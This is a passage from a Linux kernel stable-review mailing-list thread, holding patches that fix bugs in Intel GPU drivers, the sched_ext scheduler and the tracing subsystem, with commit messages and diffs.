(cherry picked from commit 5e47ee5c76ca9becde8df4ad5202845b7ffcbc4c)
Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/i915/display/intel_dmc.c | 55 ++++++++++++++++++++++++++
drivers/gpu/drm/i915/display/intel_dmc_regs.h | 12 +++++
2 files changed, 67 insertions(+)
--- a/drivers/gpu/drm/i915/display/intel_dmc.c
+++ b/drivers/gpu/drm/i915/display/intel_dmc.c
@@ -1019,6 +1019,55 @@ static void dmc_set_fw_offset(struct int
}
}
+/*
+ * Check if the load address is within the valid range for the given DMC ID.
+ */
+static bool dmc_load_addr_sanity_check(struct intel_dmc *dmc,
+ u32 start_addr, u32 payload_size,
+ int header_ver, enum intel_dmc_id dmc_id)
+{
+ u32 start_range, end_range, end_addr;
+
+ if (header_ver != 3)
+ return true;
+
+ switch (dmc_id) {
+ case DMC_FW_MAIN:
+ start_range = DMC_MAIN_PROGRAM_BASE_START;
+ end_range = DMC_MAIN_PROGRAM_BASE_END;
+ break;
+ case DMC_FW_PIPEA:
+ start_range = DMC_PIPEA_PROGRAM_BASE_START;
+ end_range = DMC_PIPEA_PROGRAM_BASE_END;
+ break;
+ case DMC_FW_PIPEB:
+ start_range = DMC_PIPEB_PROGRAM_BASE_START;
+ end_range = DMC_PIPEB_PROGRAM_BASE_END;
+ break;
+ case DMC_FW_PIPEC:
+ start_range = DMC_PIPEC_PROGRAM_BASE_START;
+ end_range = DMC_PIPEC_PROGRAM_BASE_END;
+ break;
+ case DMC_FW_PIPED:
+ start_range = DMC_PIPED_PROGRAM_BASE_START;
+ end_range = DMC_PIPED_PROGRAM_BASE_END;
+ break;
+ default:
+ MISSING_CASE(dmc_id);
+ return false;
+ }
+
+ if (payload_size == 0)
+ end_addr = start_addr;
+ else if (check_add_overflow(start_addr, payload_size - 1, &end_addr))
+ return false;
+
+ if (start_addr < start_range || end_addr > end_range)
+ return false;
+
+ return true;
+}
+
static bool dmc_mmio_addr_sanity_check(struct intel_dmc *dmc,
const u32 *mmioaddr, u32 mmio_count,
int header_ver, enum intel_dmc_id dmc_id)
@@ -1178,6 +1227,12 @@ static u32 parse_dmc_fw_header(struct in
}
dmc_info->dmc_fw_size = dmc_header->fw_size;
+ if (!dmc_load_addr_sanity_check(dmc, start_mmioaddr, payload_size,
+ dmc_header->header_ver, dmc_id)) {
+ drm_err(display->drm, "DMC %d: firmware has wrong load address\n", dmc_id);
+ return 0;
+ }
+
dmc_info->payload = kmalloc(payload_size, GFP_KERNEL);
if (!dmc_info->payload)
return 0;
--- a/drivers/gpu/drm/i915/display/intel_dmc_regs.h
+++ b/drivers/gpu/drm/i915/display/intel_dmc_regs.h
@@ -521,6 +521,18 @@ enum pipedmc_event_id {
#define TGL_PIPE_MMIO_END(dmc_id) _PICK_EVEN(((dmc_id) - 1), _TGL_PIPEA_MMIO_END,\
_TGL_PIPEB_MMIO_END)
+/* For DMC header version v3*/
+#define DMC_MAIN_PROGRAM_BASE_START 0x80000
+#define DMC_MAIN_PROGRAM_BASE_END 0x86fff
+#define DMC_PIPEA_PROGRAM_BASE_START 0x90000
+#define DMC_PIPEA_PROGRAM_BASE_END 0x96fff
+#define DMC_PIPEB_PROGRAM_BASE_START 0x98000
+#define DMC_PIPEB_PROGRAM_BASE_END 0x9efff
+#define DMC_PIPEC_PROGRAM_BASE_START 0x52000
+#define DMC_PIPEC_PROGRAM_BASE_END 0x53fff
+#define DMC_PIPED_PROGRAM_BASE_START 0x59000
+#define DMC_PIPED_PROGRAM_BASE_END 0x5afff
+
#define SKL_DMC_DC3_DC5_COUNT _MMIO(0x80030)
#define SKL_DMC_DC5_DC6_COUNT _MMIO(0x8002C)
#define BXT_DMC_DC3_DC5_COUNT _MMIO(0x80038)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 163/242] drm/xe: Bump LRU for external objects on exec and rebind
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (159 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 162/242] drm/i915/dmc: Add sanity check for DMC load address Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 164/242] drm/xe: Dont transfer shrinker pages for pinned bos on purgeable state change Greg Kroah-Hartman
` (80 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Matthew Auld, Matthew Brost,
Thomas Hellström, Rodrigo Vivi
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Thomas Hellström <thomas.hellstrom@linux.intel.com>
commit d2ce8fcd778ee6d92748c92d23a56d4416c29d86 upstream.
The VM's private BOs get their LRU position refreshed in bulk via
ttm_lru_bulk_move_tail() on vm->lru_bulk_move, both after a successful
non-LR exec and after the LR preempt-fence rebind worker runs. External
objects (BOs potentially shared across VMs) are never added to that
per-VM bulk move list, so their LRU position is never refreshed by
either path. This makes external objects in active use look more
evictable than they are.
Add xe_vm_bump_lru(), which, under a single lru_lock critical section,
performs the bulk move of the VM's private BOs and bumps each external
object locked by the drm_exec transaction. Use it from both the non-LR
exec path and the LR rebind worker, replacing the open-coded bulk move.
Fixes: d490ecf57790 ("drm/xe: Rework xe_exec and the VM rebind worker to use the drm_exec helper")
Cc: Matthew Auld <matthew.auld@intel.com>
Cc: Matthew Brost <matthew.brost@intel.com>
Cc: <stable@vger.kernel.org> # v6.8+
Assisted-by: LLM
Signed-off-by: Thomas Hellström <thomas.hellstrom@linux.intel.com>
Reviewed-by: Matthew Brost <matthew.brost@intel.com>
Reviewed-by: Matthew Auld <matthew.auld@intel.com>
Link: https://patch.msgid.link/20261012132607.21387-1-thomas.hellstrom@linux.intel.com
(cherry picked from commit 324ba30cca180c2e1d02090743dd78ccb15b9e4a)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/xe/xe_exec.c | 7 ++-----
drivers/gpu/drm/xe/xe_vm.c | 31 ++++++++++++++++++++++++++++---
drivers/gpu/drm/xe/xe_vm.h | 2 ++
3 files changed, 32 insertions(+), 8 deletions(-)
--- a/drivers/gpu/drm/xe/xe_exec.c
+++ b/drivers/gpu/drm/xe/xe_exec.c
@@ -346,11 +346,8 @@ retry:
xe_sched_job_push(job);
xe_vm_reactivate_rebind(vm);
- if (!err && !xe_vm_in_lr_mode(vm)) {
- spin_lock(&xe->ttm.lru_lock);
- ttm_lru_bulk_move_tail(&vm->lru_bulk_move);
- spin_unlock(&xe->ttm.lru_lock);
- }
+ if (!err && !xe_vm_in_lr_mode(vm))
+ xe_vm_bump_lru(vm, exec);
if (mode == EXEC_MODE_LR)
xe_hw_engine_group_resume_faulting_lr_jobs(group);
--- a/drivers/gpu/drm/xe/xe_vm.c
+++ b/drivers/gpu/drm/xe/xe_vm.c
@@ -394,6 +394,33 @@ int xe_vm_validate_rebind(struct xe_vm *
return 0;
}
+/**
+ * xe_vm_bump_lru() - Bump the LRU position of BOs used by a submission
+ * @vm: The vm for which we are bumping LRUs.
+ * @exec: The struct drm_exec with the locked GEM objects.
+ *
+ * Move the VM's private BOs, and all external objects locked by @exec,
+ * to the LRU tail. Private BOs are moved in bulk using @vm's
+ * &xe_vm.lru_bulk_move. External objects, which may be shared with other
+ * VMs, are not part of that bulk move and are bumped individually.
+ */
+void xe_vm_bump_lru(struct xe_vm *vm, struct drm_exec *exec)
+{
+ spinlock_t *lru_lock = &vm->xe->ttm.lru_lock;
+ struct drm_gem_object *obj;
+
+ spin_lock(lru_lock);
+ ttm_lru_bulk_move_tail(&vm->lru_bulk_move);
+ drm_exec_for_each_locked_object(exec, obj) {
+ if (!drm_gpuvm_is_extobj(&vm->gpuvm, obj))
+ continue;
+
+ ttm_bo_move_to_lru_tail(&gem_to_xe_bo(obj)->ttm);
+ cond_resched_lock(lru_lock);
+ }
+ spin_unlock(lru_lock);
+}
+
static int xe_preempt_work_begin(struct drm_exec *exec, struct xe_vm *vm,
bool *done)
{
@@ -544,9 +571,7 @@ retry:
#undef retry_required
- spin_lock(&vm->xe->ttm.lru_lock);
- ttm_lru_bulk_move_tail(&vm->lru_bulk_move);
- spin_unlock(&vm->xe->ttm.lru_lock);
+ xe_vm_bump_lru(vm, &exec);
/* Point of no return. */
arm_preempt_fences(vm, &preempt_fences);
--- a/drivers/gpu/drm/xe/xe_vm.h
+++ b/drivers/gpu/drm/xe/xe_vm.h
@@ -284,6 +284,8 @@ int xe_vm_lock_vma(struct drm_exec *exec
int xe_vm_validate_rebind(struct xe_vm *vm, struct drm_exec *exec,
unsigned int num_fences);
+void xe_vm_bump_lru(struct xe_vm *vm, struct drm_exec *exec);
+
struct dma_fence *xe_vm_bind_kernel_bo(struct xe_vm *vm, struct xe_bo *bo,
struct xe_exec_queue *q, u64 addr,
enum xe_cache_level cache_lvl);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 164/242] drm/xe: Dont transfer shrinker pages for pinned bos on purgeable state change
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (160 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 163/242] drm/xe: Bump LRU for external objects on exec and rebind Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 165/242] sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue Greg Kroah-Hartman
` (79 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Arvind Yadav, Matthew Brost,
Himal Prasad Ghimiray, Rodrigo Vivi, Matthew Auld, intel-xe,
Thomas Hellström
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Thomas Hellström <thomas.hellstrom@linux.intel.com>
commit ffbfd3f98f4393e91dffce3a46ccb7cf5329cf2f upstream.
Pinned bos have their pages removed from the shrinker's shrinkable /
purgeable counts on pin, and added back on unpin according to the
bo's purgeable state at that time.
However, xe_bo_set_purgeable_shrinker() unconditionally transfers
pages between the shrinkable and purgeable counts. If the purgeable
state of a pinned bo changes, for example by userspace madvising
DONTNEED on a VMA of a bo that is also pinned as a scanout buffer,
this underflows one count and, after unpin, leaves the other one
permanently inflated.
Only update the purgeable flag for pinned bos, and leave the page
accounting to unpin.
Fixes: 536a2ead3a8f ("drm/xe/bo: Add purgeable shrinker state helpers")
Cc: Arvind Yadav <arvind.yadav@intel.com>
Cc: Matthew Brost <matthew.brost@intel.com>
Cc: Himal Prasad Ghimiray <himal.prasad.ghimiray@intel.com>
Cc: Rodrigo Vivi <rodrigo.vivi@intel.com>
Cc: Matthew Auld <matthew.auld@intel.com>
Cc: intel-xe@lists.freedesktop.org
Cc: <stable@vger.kernel.org> # v7.1+
Assisted-by: LLM
Signed-off-by: Thomas Hellström <thomas.hellstrom@linux.intel.com>
Reviewed-by: Matthew Auld <matthew.auld@intel.com>
Link: https://patch.msgid.link/20261009070053.7790-1-thomas.hellstrom@linux.intel.com
(cherry picked from commit afe6bc012034123fd838328668e609bf57e46bd3)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/xe/xe_bo.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
--- a/drivers/gpu/drm/xe/xe_bo.c
+++ b/drivers/gpu/drm/xe/xe_bo.c
@@ -938,6 +938,8 @@ static int xe_bo_move_notify(struct xe_b
*
* Transfers pages between shrinkable and purgeable buckets when the BO
* purgeable state changes. Called automatically from xe_bo_set_purgeable_state().
+ * For pinned BOs, whose pages are not accounted, only the purgeable flag is
+ * updated, so that the correct bucket is used when the BO is unpinned.
*/
static void xe_bo_set_purgeable_shrinker(struct xe_bo *bo,
enum xe_madv_purgeable_state new_state)
@@ -954,7 +956,8 @@ static void xe_bo_set_purgeable_shrinker
return;
xe_tt = container_of(tt, struct xe_ttm_tt, ttm);
- tt_pages = tt->num_pages;
+ /* Pinned bos are not accounted. Only update the purgeable flag. */
+ tt_pages = xe_bo_is_pinned(bo) ? 0 : tt->num_pages;
if (!xe_tt->purgeable && new_state == XE_MADV_PURGEABLE_DONTNEED) {
xe_tt->purgeable = true;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 165/242] sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (161 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 164/242] drm/xe: Dont transfer shrinker pages for pinned bos on purgeable state change Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 166/242] sched_ext: idle: Respect task affinity in restricted CPU selection Greg Kroah-Hartman
` (78 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Tejun Heo, Hui Su
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tejun Heo <tj@kernel.org>
commit 069403dff337feb192bfc70fb28ddc8a171e20c1 upstream.
A deferred reenqueue can read a freed user DSQ. The request stays on its
CPU's deferred list until run_deferred() takes it, and the RCU callback that
frees the DSQ assumes that the grace period has flushed it, so exit_dsq()
checks the per-CPU node without the deferred list lock. A grace period waits
for readers in flight, not for a pending run_deferred(). A run_deferred()
which starts after the grace period began can detach the request right
before the callback looks and then read the freed DSQ's id.
Cancel the pending requests before the grace period instead. The irq work
that frees the DSQ unlinks every CPU's request under the per-CPU deferred
list lock, and schedule_dsq_reenq() ignores a new request under the same
lock once the id is invalid. Only a run_deferred() that started before the
grace period can hold a request, and it runs with IRQs disabled, so the
grace period waits for it and nothing touches the DSQ after the callback.
Fixes: 84b1a0ea0b7c ("sched_ext: Implement scx_bpf_dsq_reenq() for user DSQs")
Cc: stable@vger.kernel.org # v7.1+
Reported-and-tested-by: Hui Su <sh_def@163.com>
Link: https://lore.kernel.org/all/20261008024753.4096008-1-sh_def@163.com/
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/sched/ext/ext.c | 28 +++++++++++++++++++++++++---
1 file changed, 25 insertions(+), 3 deletions(-)
--- a/kernel/sched/ext/ext.c
+++ b/kernel/sched/ext/ext.c
@@ -1274,6 +1274,10 @@ static void schedule_dsq_reenq(struct sc
guard(raw_spinlock_irqsave)(&rq->scx.deferred_reenq_lock);
+ /* @dsq is being destroyed, see free_dsq_irq_workfn() */
+ if (unlikely(READ_ONCE(dsq->id) == SCX_DSQ_INVALID))
+ return;
+
if (list_empty(&dru->node))
list_move_tail(&dru->node, &rq->scx.deferred_reenq_users);
WRITE_ONCE(dru->flags, dru->flags | reenq_flags);
@@ -4899,8 +4903,8 @@ static void exit_dsq(struct scx_dispatch
struct rq *rq = cpu_rq(cpu);
/*
- * There must have been a RCU grace period since the last
- * insertion and @dsq should be off the deferred list by now.
+ * free_dsq_irq_workfn() cancelled the reenqs before the grace
+ * period and schedule_dsq_reenq() queues nothing after that.
*/
if (WARN_ON_ONCE(!list_empty(&dru->node))) {
guard(raw_spinlock_irqsave)(&rq->scx.deferred_reenq_lock);
@@ -4924,8 +4928,26 @@ static void free_dsq_irq_workfn(struct i
struct llist_node *to_free = llist_del_all(&dsqs_to_free);
struct scx_dispatch_q *dsq, *tmp_dsq;
- llist_for_each_entry_safe(dsq, tmp_dsq, to_free, free_node)
+ llist_for_each_entry_safe(dsq, tmp_dsq, to_free, free_node) {
+ s32 cpu;
+
+ /*
+ * Cancel pending reenqs. Only a run_deferred() that started
+ * before the grace period can hold one, and it keeps IRQs off,
+ * so the grace period waits for it. After this sweep,
+ * schedule_dsq_reenq() sees the invalid id under the same lock
+ * and queues nothing.
+ */
+ for_each_possible_cpu(cpu) {
+ struct scx_dsq_pcpu *pcpu = per_cpu_ptr(dsq->pcpu, cpu);
+ struct rq *rq = cpu_rq(cpu);
+
+ guard(raw_spinlock_irqsave)(&rq->scx.deferred_reenq_lock);
+ list_del_init(&pcpu->deferred_reenq_user.node);
+ }
+
call_rcu(&dsq->rcu, free_dsq_rcufn);
+ }
}
static DEFINE_IRQ_WORK(free_dsq_irq_work, free_dsq_irq_workfn);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 166/242] sched_ext: idle: Respect task affinity in restricted CPU selection
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (162 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 165/242] sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 167/242] sched_ext: Propagate every bypass depth change to the descendants Greg Kroah-Hartman
` (77 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Hui Su, Andrea Righi, Tejun Heo
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hui Su <sh_def@163.com>
commit 6ac4544eff796666ce6fbcc4be8181c81dfccc85 upstream.
The restricted select_cpu kfunc path handles single-CPU and
migration-disabled tasks without going through scx_select_cpu_dfl().
It currently uses prev_cpu as the candidate, even though prev_cpu is only a
hint and may no longer be usable after an affinity change. With a
caller-provided @allowed mask, this can also return an idle CPU outside
p->cpus_ptr.
Derive the candidate from task state instead: use the sole CPU in
p->cpus_ptr for single-CPU tasks and task_cpu(p) for migration-disabled
tasks. Validate it against p->cpus_ptr and @allowed before claiming its
idle state.
Since the derived candidate may be on a different NUMA node from
prev_cpu, also preserve SCX_PICK_IDLE_IN_NODE by rejecting cross-node
candidates.
Perform all checks before scx_idle_test_and_clear_cpu(), as a successful
call consumes the CPU's idle bit.
Fixes: 683d2d0faba1 ("sched_ext: idle: Introduce scx_bpf_select_cpu_and()")
Cc: stable@vger.kernel.org
Signed-off-by: Hui Su <sh_def@163.com>
Reviewed-by: Andrea Righi <arighi@nvidia.com>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/sched/ext/idle.c | 50 +++++++++++++++++++++++++++++++++++++-----------
1 file changed, 39 insertions(+), 11 deletions(-)
--- a/kernel/sched/ext/idle.c
+++ b/kernel/sched/ext/idle.c
@@ -907,12 +907,43 @@ static bool is_bpf_migration_disabled(co
return p->migration_disabled;
}
+static s32 select_cpu_restricted(struct task_struct *p, s32 prev_cpu,
+ const struct cpumask *allowed, u64 flags,
+ bool migration_disabled)
+{
+ s32 cpu;
+
+ if (migration_disabled)
+ cpu = task_cpu(p);
+ else
+ cpu = cpumask_first(p->cpus_ptr);
+
+ if (!cpumask_test_cpu(cpu, p->cpus_ptr))
+ return -EBUSY;
+
+ if (allowed && !cpumask_test_cpu(cpu, allowed))
+ return -EBUSY;
+
+ if (flags & SCX_PICK_IDLE_IN_NODE) {
+ int node = scx_cpu_node_if_enabled(prev_cpu);
+
+ if (scx_cpu_node_if_enabled(cpu) != node)
+ return -EBUSY;
+ }
+
+ if (!scx_idle_test_and_clear_cpu(cpu))
+ return -EBUSY;
+
+ return cpu;
+}
+
static s32 select_cpu_from_kfunc(struct scx_sched *sch, struct task_struct *p,
s32 prev_cpu, u64 wake_flags,
const struct cpumask *allowed, u64 flags)
{
unsigned long irq_flags;
bool we_locked = false;
+ bool migration_disabled;
s32 cpu;
if (!scx_cpu_valid(sch, prev_cpu, NULL))
@@ -949,20 +980,17 @@ static s32 select_cpu_from_kfunc(struct
/*
* This may also be called from ops.enqueue(), so we need to handle
- * per-CPU tasks as well. For these tasks, we can skip all idle CPU
- * selection optimizations and simply check whether the previously
- * used CPU is idle and within the allowed cpumask.
+ * per-CPU tasks as well. For these tasks, skip general idle CPU
+ * selection and validate the task's only usable CPU directly.
*/
- if (p->nr_cpus_allowed == 1 || is_bpf_migration_disabled(p)) {
- if (cpumask_test_cpu(prev_cpu, allowed ?: p->cpus_ptr) &&
- scx_idle_test_and_clear_cpu(prev_cpu))
- cpu = prev_cpu;
- else
- cpu = -EBUSY;
- } else {
+ migration_disabled = is_bpf_migration_disabled(p);
+
+ if (p->nr_cpus_allowed == 1 || migration_disabled)
+ cpu = select_cpu_restricted(p, prev_cpu, allowed, flags,
+ migration_disabled);
+ else
cpu = scx_select_cpu_dfl(p, prev_cpu, wake_flags,
allowed ?: p->cpus_ptr, flags);
- }
if (we_locked)
raw_spin_unlock_irqrestore(&p->pi_lock, irq_flags);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 167/242] sched_ext: Propagate every bypass depth change to the descendants
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (163 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 166/242] sched_ext: idle: Respect task affinity in restricted CPU selection Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 168/242] tracing: Fix the shift out of bounds in the log2 histogram modifier Greg Kroah-Hartman
` (76 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Tejun Heo, Andrea Righi
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tejun Heo <tj@kernel.org>
commit dcf7f650a24897d59b071f7f9a454d8b0b188b27 upstream.
scx_bypass() propagates a depth change to the descendants only when the
scheduler's own depth crosses zero, so an own bypass that starts under an
ancestor's never reaches them. When the ancestor's bypass ends first, the
descendants leave bypass while the scheduler is still bypassing: a
sub-scheduler disabled under a PM suspend has its children re-queue their
tasks through their own BPF schedulers at resume, mid-teardown. If the own
bypass then ends, every descendant is decremented once more than incremented
and dec_bypass_depth() warns, though no current caller gets there.
Propagate on every call so that a descendant's depth is the sum of its own
bypasses and its ancestors'. The early return follows the walk, as a
descendant's depth is at least the scheduler's and nothing changes bypass
state unless the scheduler's own does.
Fixes: c7f0e467a27a ("sched_ext: Prepare bypass mode for hierarchical operation")
Cc: stable@vger.kernel.org # v7.1+
Signed-off-by: Tejun Heo <tj@kernel.org>
Reviewed-by: Andrea Righi <arighi@nvidia.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/sched/ext/ext.c | 22 +++++++++++++++-------
1 file changed, 15 insertions(+), 7 deletions(-)
--- a/kernel/sched/ext/ext.c
+++ b/kernel/sched/ext/ext.c
@@ -5793,22 +5793,23 @@ static void scx_bypass(struct scx_sched
struct scx_sched *pos;
unsigned long flags;
int cpu;
+ bool changed;
raw_spin_lock_irqsave(&scx_bypass_lock, flags);
if (bypass) {
- if (!inc_bypass_depth(sch))
- goto unlock;
-
- enable_bypass_dsp(sch);
+ changed = inc_bypass_depth(sch);
+ if (changed)
+ enable_bypass_dsp(sch);
} else {
- if (!dec_bypass_depth(sch))
- goto unlock;
+ changed = dec_bypass_depth(sch);
}
/*
* Bypass state is propagated to all descendants - an scx_sched bypasses
- * if itself or any of its ancestors are in bypass mode.
+ * if itself or any of its ancestors are in bypass mode. A descendant's
+ * depth is the sum of its own bypasses and its ancestors', so every
+ * call propagates whether or not @sch changed state.
*/
raw_spin_lock(&scx_sched_lock);
scx_for_each_descendant_pre(pos, sch) {
@@ -5822,6 +5823,13 @@ static void scx_bypass(struct scx_sched
raw_spin_unlock(&scx_sched_lock);
/*
+ * A descendant's depth is at least @sch's, so no bypass state changed
+ * unless @sch's did.
+ */
+ if (!changed)
+ goto unlock;
+
+ /*
* No task property is changing. We just need to make sure all currently
* queued tasks are re-queued according to the new scx_bypassing()
* state. As an optimization, walk each rq's runnable_list instead of
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 168/242] tracing: Fix the shift out of bounds in the log2 histogram modifier
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (164 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 167/242] sched_ext: Propagate every bypass depth change to the descendants Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 169/242] tracing: Keep the predicate limit separate from program capacity Greg Kroah-Hartman
` (75 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Donggeun Yoo, Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
commit 647c2f97fcb94bc642cefe6db004999974563f06 upstream.
The .log2 key modifier files a value under its base-2 order:
# echo 'hist:keys=bytes_req.log2' > events/kmem/kmalloc/trigger
hist_field_log2() computes that as ilog2(roundup_pow_of_two(val)). The
out-of-line form of roundup_pow_of_two() is
return 1UL << fls_long(n - 1);
which shifts by 64 on a 64-bit kernel both when n is 0, where n - 1
wraps to ULONG_MAX, and when n is above 2^63. Both are ordinary keys,
because the field fetch hands every value over as a u64: a syscall
argument of 0 reaches the first, and one above 2^63 reaches the second.
Keying sys_enter_lseek on offset.log2 and passing 0, 1, 2, 3, 1000,
2^63+1 and U64_MAX gives
{ offset: ~ 2^1 } hitcount: 1
{ offset: ~ 2^10 } hitcount: 1
{ offset: ~ 2^2 } hitcount: 1
{ offset: ~ 2^0 } hitcount: 4
Keys above 2^63 land in the lowest bucket. With CONFIG_UBSAN_SHIFT=y
the shift is also reported:
UBSAN: shift-out-of-bounds in include/linux/log2.h:57:13
shift exponent 64 is too large for 64-bit type 'long unsigned int'
__ubsan_handle_shift_out_of_bounds.cold+0xdd/0x1cb
hist_fn_call.cold+0x8b/0xd9
event_hist_trigger+0x1cc/0x790
ftrace_syscall_enter+0x197/0x360
do_syscall_64+0x402/0x4b0
Use order_base_2(), which is ilog2(n - 1) + 1 for n > 1 and 0 below
that. It returns what the old expression returned on every input the
old one was defined for. Where it was not, 0 stays in bucket 0, which
is where x86_64 had been putting it, and the keys above 2^63 move into
bucket 64.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260916002735.808520-1-donggeunyoo.kernel@gmail.com
Fixes: 4b94f5b7b4a5 ("tracing: Add hist trigger 'log2' modifier")
Signed-off-by: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
Assisted-by: Claude:claude-fable-5
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -290,7 +290,7 @@ static u64 hist_field_log2(struct hist_f
u64 val = hist_fn_call(operand, elt, buffer, rbe, event);
- return (u64) ilog2(roundup_pow_of_two(val));
+ return order_base_2(val);
}
static u64 hist_field_bucket(struct hist_field *hist_field,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 169/242] tracing: Keep the predicate limit separate from program capacity
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (165 preceding siblings ...)
2026-10-23 16:40 ` [PATCH 7.2 168/242] tracing: Fix the shift out of bounds in the log2 histogram modifier Greg Kroah-Hartman
@ 2026-10-23 16:40 ` Greg Kroah-Hartman
2026-10-23 16:40 ` [PATCH 7.2 170/242] tracing: Take trace_types_lock when dropping the buffer_meta reference Greg Kroah-Hartman
` (74 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:40 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Taeyang Lee, Steven Rostedt
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Taeyang Lee <0wn@theori.io>
commit 803aa6fc2dbea25ab9d3ed19eca1c96d0ab17445 upstream.
predicate_parse() adds two to nr_preds to reserve the terminal TRUE
and FALSE entries. It also uses that increased value as the limit for
parsed predicates. If the initial count is smaller than the number
actually parsed, the program can fill the allocation and subsequent
accesses can go past its end.
Keep nr_preds as the predicate limit and use a separate value for the
allocation size. This leaves space for both terminal entries and a
zeroed entry when parsing stops at the limit.
Cc: stable@vger.kernel.org
Fixes: 39f7c41c908b ("tracing/filters: Enable filtering a cpumask field by another cpumask")
Link: https://patch.msgid.link/atELCd1XjKVhrkFL@Taeyangs-MacBook-Pro.local
Signed-off-by: Taeyang Lee <0wn@theori.io>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_filter.c | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
--- a/kernel/trace/trace_events_filter.c
+++ b/kernel/trace/trace_events_filter.c
@@ -482,18 +482,17 @@ predicate_parse(const char *str, int nr_
int len;
int N = 0;
